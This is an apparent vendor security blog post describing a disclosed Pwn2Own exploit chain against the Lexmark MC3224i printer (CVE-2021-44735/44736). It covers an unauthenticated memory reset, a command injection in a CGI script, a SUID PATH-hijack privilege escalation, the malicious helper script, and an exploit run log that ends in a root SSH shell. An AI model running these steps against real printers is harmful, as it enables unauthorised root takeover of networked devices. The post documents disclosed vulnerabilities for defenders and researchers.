For the Common Good: How to Compromise a Printer in Three Simple Steps

In August 2021, ZDI announced Pwn2Own Austin 2021, a security contest focusing on phones, printers, NAS devices and smart speakers, among other things. The Pwn2Own contest encourages security researchers to demonstrate remote zero-day exploits against a list of specified devices. If successful, the researchers are rewarded with a cash prize, and the leveraged vulnerabilities are responsibly disclosed to the respective vendors so they can improve the security of their products.

After reviewing the list of devices, we decided to target the Cisco RV340 router and the Lexmark MC3224i printer, and we managed to identify several vulnerabilities in both of them. Fortunately, we were luckier than last year and were able to participate in the contest for the first time. By successfully exploiting both devices, we won $20,000 USD, which CrowdStrike donated to several charitable organizations chosen by our researchers.

In this blog post, we outline the vulnerabilities we discovered and used to compromise the Lexmark printer.

Overview

Product Lexmark MC3224
Affected Firmware Versions
(without claim for completeness)
CXLBL.075.272 (2021-07-29)
CXLBL.075.281 (2021-10-14)
Fixed Firmware Version CXLBL.076.294 (CVE-2021-44735)

Note: Users must implement a workaround to address CVE-2021-44736, see Lexmark Security Alert

CVE CVE-2021-44735 (Shell Command Injection)
CVE-2021-44736 (Authentication Reset)
Root Causes Authentication Bypass, Shell Command Injection, Insecure SUID Binary
Impact Unauthenticated Remote Code Execution (RCE) as root
Researchers Hanno Heinrichs, Lukas Kupczyk
Lexmark Resources https[:]//publications.lexmark[.]com/publications/security-alerts/CVE-2021-44735.pdf
https[:]//publications.lexmark[.]com/publications/security-alerts/CVE-2021-44736.pdf

Step #1: Increasing Attack Surface via Authentication Reset

Before we could start our analysis, we first had to obtain a copy of the firmware. It quickly turned out that the firmware is shipped as an .fls file in a custom binary format containing encrypted data. Luckily, a detailed writeup on the encryption scheme had been published in September 2020. While the writeup did not include code or cryptographic keys, it was elaborate enough that we were able to quickly reproduce it and write our own decrypter. With our firmware decryption tool at hand, we were finally able to peek into the firmware.

It was assumed that the printer would be in a default configuration during the contest and that the setup wizard on the printer had been completed. Thus, we expected the administrator password to be set to an unknown value. In this state, unauthenticated users can still trigger a vast amount of actions through the web interface. One of these is Sanitize all information on nonvolatile memory. It can be found under Settings -> Device -> Maintenance. There are several options to choose from when performing that action:

[x] Sanitize all information on nonvolatile memory
  (x) Start initial setup wizard
  ( ) Leave printer offline
[x] Erase all printer and network settings
[x] Erase all shortcuts and shortcut settings

[Start] [Reset]

If the checkboxes are ticked as shown, the process can be initiated through the Start button. The printer’s non-volatile memory will be cleared and a reboot is initiated. This process takes approximately two minutes. Afterward, unauthenticated users can access all functions through the web interface.

Step #2: Shell Command Injection

After resetting the nvram as outlined in the previous section, the CGI script https://target/cgi-bin/sniffcapture_post becomes accessible without authentication. It was previously discovered by browsing the decrypted firmware and is located in the directory /usr/share/web/cgi-bin.

At the beginning of the script, the supplied POST body is stored in the variable data. Afterward, several other variables such as interface, dest, path and filter are extracted and populated from that data by using sed:

read data

remove=${data/*-r*/1}
if [ "x${remove}" != "x1" ]; then
    remove=0
fi
interface=$(echo ${data} | sed -n 's|^.*-i[[:space:]]\([^[:space:]]\+\).*$|\1|p')
dest=$(echo ${data} | sed -n 's|^.*-f[[:space:]]\([^[:space:]]\+\).*$|\1|p')
path=$(echo ${data} | sed -n 's|^.*-f[[:space:]]\([^[:space:]]\+\).*$|\1|p')
method="startSniffer"
auto=0
if [ "x${dest}" = "x/dev/null" ]; then
    method="stopSniffer"
elif [ "x${dest}" = "x/usr/bin" ]; then
    auto=1
fi
filter=$(echo ${data} | sed -n 's|^.*-F[[:space:]]\+\(["]\)\(.*\)\1.*$|\2|p')
args="-i ${interface} -f ${dest}/sniff_control.pcap"

The variable filter is determined by a quoted string following the value -F specified in the POST body. As shown below, it is later embedded into the args variable in case it has been specified along with an interface:

fmt=""
args=""
if [ ${remove} -ne 0 ]; then
    fmt="${fmt}b"
    args="${args} remove 1"
fi
if [ -n "${interface}" ]; then
    fmt="${fmt}s"
    args="${args} interface ${interface}"
    if [ -n "${filter}" ]; then
        fmt="${fmt}s"
        args="${args} filter \"${filter}\""
    fi
    if [ ${auto} -ne 0 ]; then
        fmt="${fmt}b"
        args="${args} auto 1"
    else
        fmt="${fmt}s"
        args="${args} dest ${dest}"
    fi
fi
[...]

At the end of the script, the resulting args value is used in an eval statement:

[...]
resp=""
if [ -n "${fmt}" ]; then
    resp=$(eval rob call system.sniffer ${method} "{${fmt}}" ${args:1} 2>/dev/null)
    submitted=1
[...]

By controlling the filter variable, attackers are therefore able to inject further shell commands and gain access to the printer as uid=985(httpd), which is the user that the web server is executed as.

Step #3: Privilege Escalation

The printer ships a custom root-owned SUID binary called collect-selogs-wrapper:

# ls -la usr/bin/collect-selogs-wrapper
-rwsr-xr-x. 1 root root 7324 Jun 14 15:46 usr/bin/collect-selogs-wrapper

In its main() function, the effective user ID (0) is retrieved and the process’s real user ID is set to that value. Afterward, the shell script /usr/bin/collect-selogs.sh is executed:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __uid_t euid; // r0

  euid = geteuid();
  if ( setuid(euid) )
    perror("setuid");
  return execv("/usr/bin/collect-selogs.sh", (char *const *)argv);
}

Effectively, the shell script is executed as root with UID=EUID, and therefore the shell does not drop privileges. Furthermore, argv[] of the SUID binary is passed to the shell script. As the environment variables are also retained across the execv() call, an attacker is able to specify a malicious $PATH value. Any command inside the shell script that is not referenced by its absolute path can thereby be detoured by the attacker.

The first opportunity for such an attack is the invocation of systemd-cat inside sd_journal_print():

# cat usr/bin/collect-selogs.sh
#!/bin/sh
# Collects fwdebug from the current state plus the last 3 fwdebug files from
# previous auto-collections. The collected files will be archived and compressed
# to the requested output directory or to the standard output if the output
# directory is not specified.

sd_journal_print() {
    systemd-cat -t collect-selogs echo "$@"
}

sd_journal_print "Start! params: '$@'"

[...]

The /dev/shm directory can be used to prepare a malicious version of systemd-cat:

$ cat /dev/shm/systemd-cat
#!/bin/sh
mount -o remount,suid /dev/shm
cp /usr/bin/python3 /dev/shm
chmod +s /dev/shm/python3
$ chmod +x /dev/shm/systemd-cat

This script remounts /dev/shm with the suid flag so that SUID binaries can be executed from it. It then copies the system’s Python interpreter to the same directory and enables the SUID bit on it. The malicious systemd-cat copy can be executed as root by invoking the setuid collect-setlogs-wrapper binary like this:

$ PATH=/dev/shm:$PATH /usr/bin/collect-selogs-wrapper

The $PATH environment variable is prepended with the /dev/shm directory that hosts the malicious systemd-cat copy. After executing the command, a root-owned SUID-enabled copy of the Python interpreter is located in /dev/shm:

root@ET788C773C9E20:~# ls -la /dev/shm
drwxrwxrwt    2 root     root           100 Oct 29 09:33 .
drwxr-xr-x   13 root     root          5160 Oct 29 09:31 ..
-rwsr-sr-x    1 root     httpd         8256 Oct 29 09:33 python3
-rw-------    1 nobody   nogroup         16 Oct 29 09:31 sem.netapps.rawprint
-rwxr-xr-x    1 httpd    httpd           96 Oct 29 09:33 systemd-cat

The idea behind this technique is to establish a simple way of escalating privileges without having to exploit the initial collect_selogs_wrapper SUID again. We did not use the Bash binary for this, as the version shipped with the printer seems to ignore the -p flag when running with UID!=EUID.

Exploit

An exploit combining the three vulnerabilities to gain unauthenticated code execution as root  has been implemented as a Python script. First, the exploit tries to determine whether the printer has a login password set (i.e., setup wizard has been completed) or it is password-less (i.e., authentication reset already executed earlier or setup wizard not yet completed). Depending on the result, it decides whether the non-volatile memory reset is required.

If the non-volatile memory reset is triggered, the exploit waits for the printer to finish rebooting. Afterward, it continues with the shell command injection step and escalation of privileges. The privileged access is then used to start an OpenSSH daemon on the printer. To finish, the exploit establishes an interactive SSH session with the printer and hands control over to the user. An example run of the exploit in a testing environment follows:

$ ./mc3224i_exploit.py https://10.64.23.20/ sshd
[*] Probing device...
[+] Firmware: CXLBL.075.281
[+] Acceptable login methods: ['LDAP_DEVICE_REALM',        
    'LOGIN_METHODS_WITH_CREDS']
[*] Device IS password protected, auth bypass required
[*] Erasing nvram...
[+] Success! HTTP status: 200, rc=1
[*] Waiting for printer to reboot, sleeping 5 seconds...
[*] Checking status...
xxxxxxxxxxxxxxxxxxxxxxx!
[+] Reboot finished
[*] Probing device...
[+] Firmware: CXLBL.075.281
[+] Acceptable login methods: ['LDAP_DEVICE_REALM']
[*] Device IS NOT password protected
[+] Authentication bypass done
[*] Attempting to escalate privileges...
[*] Executing command (root? False):
    echo -e '#!/bin/sh\\n
    mount -o remount,suid /dev/shm\\n
    cp /usr/bin/python3 /dev/shm\\nchmod +s /dev/shm/python3' >
    /dev/shm/systemd-cat; chmod +x /dev/shm/systemd-cat
[+] HTTP status: 200
[*] Executing command (root? False): PATH=/dev/shm:$PATH /usr/bin/collect-selogs-wrapper
[+] request timed out, that’s what we expect
[+] SUID Python interpreter should be created
[*] Attempting to enable SSH daemon...
[*] Executing command (root? True):
sed -Ee 's/(RSAAuthentication|UsePrivilegeSeparation|UseLogin)/#\\1/g'
    -e 's/AllowUsers guest/AllowUsers root guest/'
    /etc/ssh/sshd_config_perf > /tmp/sshconf;
    mkdir /var/run/sshd;
    iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT;
    nohup /usr/sbin/sshd -f /tmp/sshconf &
[+] HTTP status: 200
[+] SSH daemon should be running
[*] Trying to call ssh... ('ssh', '-i', '/tmp/tmpd2vc5a2u', 'root@10.64.23.20')
root@ET788C773C9E20:~# id
uid=0(root) gid=0(root) groups=0(root)

Summary

In this blog, we described a number of vulnerabilities that can be exploited from the local network to bypass authentication, execute arbitrary shell commands, and elevate privileges on a Lexmark MC3224i printer. The research started as an experiment after the announcement of the Pwn2Own Austin 2021. The team enjoyed the challenge, as well as participating in Pwn2Own for the first time, and we welcome your feedback. We’d also like to invite you to read about the other device we successfully targeted during Pwn2Own Austin 2021, the Cisco RV340 router.

Additional Resources

Related Content